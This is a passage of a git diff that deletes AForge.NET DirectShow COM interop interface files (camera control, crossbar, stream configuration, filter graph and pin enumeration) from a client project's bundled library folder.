objects - enumDev = null; - if ( comObj != null ) - { - Marshal.ReleaseComObject( comObj ); - comObj = null; - } - if ( enumMon != null ) - { - Marshal.ReleaseComObject( enumMon ); - enumMon = null; - } - if ( devMon[0] != null ) - { - Marshal.ReleaseComObject( devMon[0] ); - devMon[0] = null; - } - } - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs deleted file mode 100644 index c207797fd..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IAMCameraControl.cs +++ /dev/null @@ -1,81 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, - /// or shutter speed. To obtain this interface, query the filter that controls the camera. - /// - [ComImport, - Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMCameraControl - { - /// - /// Gets the range and default value of a specified camera property. - /// - /// - /// Specifies the property to query. - /// Receives the minimum value of the property. - /// Receives the maximum value of the property. - /// Receives the step size for the property. - /// Receives the default value of the property. - /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetRange( - [In] CameraControlProperty Property, - [Out] out int pMin, - [Out] out int pMax, - [Out] out int pSteppingDelta, - [Out] out int pDefault, - [Out] out CameraControlFlags pCapsFlags - ); - - /// - /// Sets a specified property on the camera. - /// - /// - /// Specifies the property to set. - /// Specifies the new value of the property. - /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Set( - [In] CameraControlProperty Property, - [In] int lValue, - [In] CameraControlFlags Flags - ); - - /// - /// Gets the current setting of a camera property. - /// - /// - /// Specifies the property to retrieve. - /// Receives the value of the property. - /// Receives a member of the CameraControlFlags enumeration. - /// The returned value indicates whether the setting is controlled manually or automatically. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Get( - [In] CameraControlProperty Property, - [Out] out int lValue, - [Out] out CameraControlFlags Flags - ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs deleted file mode 100644 index b67fc091d..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IAMCrossbar.cs +++ /dev/null @@ -1,88 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -using System; -using System.Runtime.InteropServices; - -namespace AForge.Video.DirectShow.Internals -{ - /// - /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMCrossbar - { - /// - /// Retrieves the number of input and output pins on the crossbar filter. - /// - /// - /// Variable that receives the number of output pins. - /// Variable that receives the number of input pins. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); - - /// - /// Queries whether a specified input pin can be routed to a specified output pin. - /// - /// - /// Specifies the index of the output pin. - /// Specifies the index of input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); - - /// - /// Routes an input pin to an output pin. - /// - /// - /// Specifies the index of the output pin. - /// Specifies the index of the input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Route( [In] int outputPinIndex, [In] int inputPinIndex ); - - /// - /// Retrieves the input pin that is currently routed to the specified output pin. - /// - /// - /// Specifies the index of the output pin. - /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); - - /// - /// Retrieves information about a specified pin. - /// - /// - /// Specifies the direction of the pin. Use one of the following values. - /// Specifies the index of the pin. - /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. - /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_CrossbarPinInfo( - [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, - [In] int pinIndex, - [Out] out int pinIndexRelated, - [Out] out PhysicalConnectorType physicalType ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs deleted file mode 100644 index e72f06e19..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs +++ /dev/null @@ -1,74 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface sets the output format on certain capture and compression filters, - /// for both audio and video. - /// - /// - [ComImport, - Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMStreamConfig - { - /// - /// Set the output format on the pin. - /// - /// - /// Media type to set. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the audio or video stream's format. - /// - /// - /// Retrieved media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); - - /// - /// Retrieve the number of format capabilities that this pin supports. - /// - /// - /// Variable that receives the number of format capabilities. - /// Variable that receives the size of the configuration structure in bytes. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetNumberOfCapabilities( out int count, out int size ); - - /// - /// Retrieve a set of format capabilities. - /// - /// - /// Specifies the format capability to retrieve, indexed from zero. - /// Retrieved media type. - /// Byte array, which receives information about capabilities. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetStreamCaps( - [In] int index, - [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, - [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps - ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs deleted file mode 100644 index cb57dfe73..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IAMVideoControl.cs +++ /dev/null @@ -1,112 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface controls certain video capture operations such as enumerating available - /// frame rates and image orientation. - /// - /// - [ComImport, - Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMVideoControl - { - /// - /// Retrieves the capabilities of the underlying hardware. - /// - /// - /// Pin to query capabilities from. - /// Get capabilities of the specified pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); - - /// - /// Sets the video control mode of operation. - /// - /// - /// The pin to set the video control mode on. - /// Value specifying a combination of the flags to set the video control mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); - - /// - /// Retrieves the video control mode of operation. - /// - /// - /// The pin to retrieve the video control mode from. - /// Gets combination of flags, which specify the video control mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); - - /// - /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. - /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested - /// because of bandwidth availability. This is only available during video streaming. - /// - /// - /// The pin to retrieve the frame rate from. - /// Gets frame rate in frame duration in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); - - /// - /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections - /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth - /// availability. - /// - /// - /// The pin to retrieve the maximum frame rate from. - /// Index of the format to query for maximum frame rate. This index corresponds - /// to the order in which formats are enumerated by . - /// Frame image size (width and height) in pixels. - /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, - [In] System.Drawing.Size dimensions, - [Out] out long maxAvailableFrameRate ); - - /// - /// Retrieves a list of available frame rates. - /// - /// - /// The pin to retrieve the maximum frame rate from. - /// Index of the format to query for maximum frame rate. This index corresponds - /// to the order in which formats are enumerated by . - /// Frame image size (width and height) in pixels. - /// Number of elements in the list of frame rates. - /// Array of frame rates in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFrameRateList( [In] IPin pin, [In] int index, - [In] System.Drawing.Size dimensions, - [Out] out int listSize, - [Out] out IntPtr frameRate ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs deleted file mode 100644 index 3c03a316f..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IBaseFilter.cs +++ /dev/null @@ -1,161 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IBaseFilter interface provides methods for controlling a filter. - /// All DirectShow filters expose this interface - /// - /// - [ComImport, - Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IBaseFilter - { - // --- IPersist Methods - - /// - /// Returns the class identifier (CLSID) for the component object. - /// - /// - /// Points to the location of the CLSID on return. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetClassID( [Out] out Guid ClassID ); - - // --- IMediaFilter Methods - - /// - /// Stops the filter. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// Pauses the filter. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// Runs the filter. - /// - /// - /// Reference time corresponding to stream time 0. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( long start ); - - /// - /// Retrieves the state of the filter (running, stopped, or paused). - /// - /// - /// Time-out interval, in milliseconds. - /// Pointer to a variable that receives filter's state. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( int milliSecsTimeout, [Out] out int filterState ); - - /// - /// Sets the reference clock for the filter or the filter graph. - /// - /// - /// Pointer to the clock's IReferenceClock interface, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetSyncSource( [In] IntPtr clock ); - - /// - /// Retrieves the current reference clock. - /// - /// - /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetSyncSource( [Out] out IntPtr clock ); - - // --- IBaseFilter Methods - - /// - /// Enumerates the pins on this filter. - /// - /// - /// Address of a variable that receives a pointer to the IEnumPins interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumPins( [Out] out IEnumPins enumPins ); - - /// - /// Retrieves the pin with the specified identifier. - /// - /// - /// Pointer to a constant wide-character string that identifies the pin. - /// Address of a variable that receives a pointer to the pin's IPin interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); - - /// - /// Retrieves information about the filter. - /// - /// - /// Pointer to FilterInfo structure. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryFilterInfo( [Out] out FilterInfo filterInfo ); - - /// - /// Notifies the filter that it has joined or left the filter graph. - /// - /// - /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL - /// if the filter is leaving the graph. - /// String that specifies a name for the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Retrieves a string containing vendor information. - /// - /// - /// Receives a string containing the vendor information. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs deleted file mode 100644 index 4ef802a37..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs +++ /dev/null @@ -1,192 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface builds capture graphs and other custom filter graphs. - /// - /// - [ComImport, - Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ICaptureGraphBuilder2 - { - /// - /// Specify filter graph for the capture graph builder to use. - /// - /// - /// Filter graph's interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetFiltergraph( [In] IGraphBuilder graphBuilder ); - - /// - /// Retrieve the filter graph that the builder is using. - /// - /// - /// Filter graph's interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); - - /// - /// Create file writing section of the filter graph. - /// - /// - /// GUID that represents either the media subtype of the output or the - /// class identifier (CLSID) of a multiplexer filter or file writer filter. - /// Output file name. - /// Receives the multiplexer's interface. - /// Receives the file writer's IFileSinkFilter interface. Can be NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetOutputFileName( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [Out] out IBaseFilter baseFilter, - [Out] out IntPtr fileSinkFilter - ); - - /// - /// Searche the graph for a specified interface, starting from a specified filter. - /// - /// - /// GUID that specifies the search criteria. - /// GUID that specifies the major media type of an output pin, or NULL. - /// interface of the filter. The method begins searching from this filter. - /// Interface identifier (IID) of the interface to locate. - /// Receives found interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindInterface( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, - [In] IBaseFilter baseFilter, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , - [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface - ); - - /// - /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. - /// - /// - /// Pin category. - /// Major-type GUID that specifies the media type of the output pin. - /// Starting filter for the connection. - /// Interface of an intermediate filter, such as a compression filter. Can be NULL. - /// Sink filter, such as a renderer or mux filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderStream( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.IUnknown )] object source, - [In] IBaseFilter compressor, - [In] IBaseFilter renderer - ); - - /// - /// Set the start and stop times for one or more streams of captured data. - /// - /// - /// Pin category. - /// Major-type GUID that specifies the media type. - /// interface that specifies which filter to control. - /// Start time. - /// Stop time. - /// Value that is sent as the second parameter of the - /// EC_STREAM_CONTROL_STARTED event notification. - /// Value that is sent as the second parameter of the - /// EC_STREAM_CONTROL_STOPPED event notification. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ControlStream( - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, - [In] long start, - [In] long stop, - [In] short startCookie, - [In] short stopCookie - ); - - /// - /// Preallocate a capture file to a specified size. - /// - /// - /// File name to create or resize. - /// Size of the file to allocate, in bytes. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AllocCapFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In] long size - ); - - /// - /// Copy the valid media data from a capture file. - /// - /// - /// Old file name. - /// New file name. - /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. - /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CopyCaptureFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, - [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, - [In] IntPtr callback - ); - - /// - /// - /// - /// - /// Interface on a filter, or to an interface on a pin. - /// Pin direction (input or output). - /// Pin category. - /// Media type. - /// Boolean value that specifies whether the pin must be unconnected. - /// Zero-based index of the pin to retrieve, from the set of matching pins. - /// Interface of the matching pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindPin( - [In, MarshalAs( UnmanagedType.IUnknown )] object source, - [In] PinDirection pinDirection, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, - [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, - [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, - [In] int index, - [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin - ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs deleted file mode 100644 index 81e4b59f0..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs +++ /dev/null @@ -1,37 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, - /// such as video capture devices, audio capture devices, video compressors, and so forth. - /// - /// - [ComImport, - Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ICreateDevEnum - { - /// - /// Creates a class enumerator for a specified device category. - /// - /// - /// Specifies the class identifier of the device category. - /// Address of a variable that receives an IEnumMoniker interface pointer - /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs deleted file mode 100644 index a4c8eb936..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IEnumFilters.cs +++ /dev/null @@ -1,71 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007-2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface is used by applications or other filters to determine - /// what filters exist in the filter graph. - /// - /// - [ComImport, - Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IEnumFilters - { - /// - /// Retrieves the specified number of filters in the enumeration sequence. - /// - /// - /// Number of filters to retrieve. - /// Array in which to place interfaces. - /// Actual number of filters placed in the array. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Next( [In] int cFilters, - [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, - [Out] out int filtersFetched ); - - /// - /// Skips a specified number of filters in the enumeration sequence. - /// - /// - /// Number of filters to skip. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Skip( [In] int cFilters ); - - /// - /// Resets the enumeration sequence to the beginning. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reset( ); - - /// - /// Makes a copy of the enumerator with the same enumeration state. - /// - /// - /// Duplicate of the enumerator. - /// - /// - /// Return's HRESULT error code. - /// - /// - [PreserveSig] - int Clone( [Out] out IEnumFilters enumFilters ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs b/Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs deleted file mode 100644 index 41e1f740d..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IEnumPins.cs +++ /dev/null @@ -1,68 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// Enumerates pins on a filter. - /// - /// - [ComImport, - Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IEnumPins - { - /// - /// Retrieves a specified number of pins. - /// - /// - /// Number of pins to retrieve. - /// Array of size cPins that is filled with IPin pointers. - /// Receives the number of pins retrieved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Next( [In] int cPins, - [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, - [Out] out int pinsFetched ); - - /// - /// Skips a specified number of pins in the enumeration sequence. - /// - /// - /// Number of pins to skip. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Skip( [In] int cPins ); - - /// - /// Resets the enumeration sequence to the beginning. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reset( ); - - /// - /// Makes a copy of the enumerator with the same enumeration state. - /// - /// - /// Duplicate of the enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Clone( [Out] out IEnumPins enumPins ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs deleted file mode 100644 index 7d21c5f12..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph.cs +++ /dev/null @@ -1,113 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides methods for building a filter graph. An application can use it to add filters to - /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. - /// - /// - [ComImport, - Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IFilterGraph - { - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IntPtr enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - } -} diff --git a/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs deleted file mode 100644 index b4dbf4c01..000000000 --- a/Client/Core/AForge/Video.DirectShow/Internals/IFilterGraph2.cs +++ /dev/null @@ -1,257 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - - /// - /// This interface extends the and - /// interfaces, which contain methods for building filter graphs. - /// - /// - [ComImport, - Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface IFilterGraph2 - { - // --- IFilterGraph Methods - - /// - /// Adds a filter to the graph and gives it a name. - /// - /// - /// Filter to add to the graph. - /// Name of the filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); - - /// - /// Removes a filter from the graph. - /// - /// - /// Filter to be removed from the graph. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RemoveFilter( [In] IBaseFilter filter ); - - /// - /// Provides an enumerator for all filters in the graph. - /// - /// - /// Filter enumerator. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumFilters( [Out] out IEnumFilters enumerator ); - - /// - /// Finds a filter that was added with a specified name. - /// - /// - /// Name of filter to search for. - /// Interface of found filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); - - /// - /// Connects two pins directly (without intervening filters). - /// - /// - /// Output pin. - /// Input pin. - /// Media type to use for the connection. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the existing pin connection and reconnects it to the same pin. - /// - /// - /// Pin to disconnect and reconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Reconnect( [In] IPin pin ); - - /// - /// Disconnects a specified pin. - /// - /// - /// Pin to disconnect. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( [In] IPin pin ); - - /// - /// Sets the reference clock to the default clock. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetDefaultSyncSource( ); - - // --- IGraphBuilder methods - - /// - /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. - /// - /// - /// Output pin. - /// Input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin pinOut, [In] IPin pinIn ); - - /// - /// Adds a chain of filters to a specified output pin to render it. - /// - /// - /// Output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Render( [In] IPin pinOut ); - - /// - /// Builds a filter graph that renders the specified file. - /// - /// - /// Specifies a string that contains file name or device moniker. - /// Reserved. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int RenderFile( - [In, MarshalAs( UnmanagedType.LPWStr )] string file, - [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); - - /// - /// Adds a source filter to the filter graph for a specific file. - /// - /// - /// Specifies the name of the file to load. - /// Specifies a name for the source filter. - /// Variable that receives the interface of the source filter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AddSourceFilter( - [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, - [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, - [Out] out IBaseFilter filter ); - - /// - /// Sets the file for logging actions taken when attempting to perform an operation. - /// - /// - /// Handle to the log file. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetLogFile( IntPtr hFile ); - - /// - /// Requests that the graph builder return as soon as possible from its current task. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Abort( ); - - /// 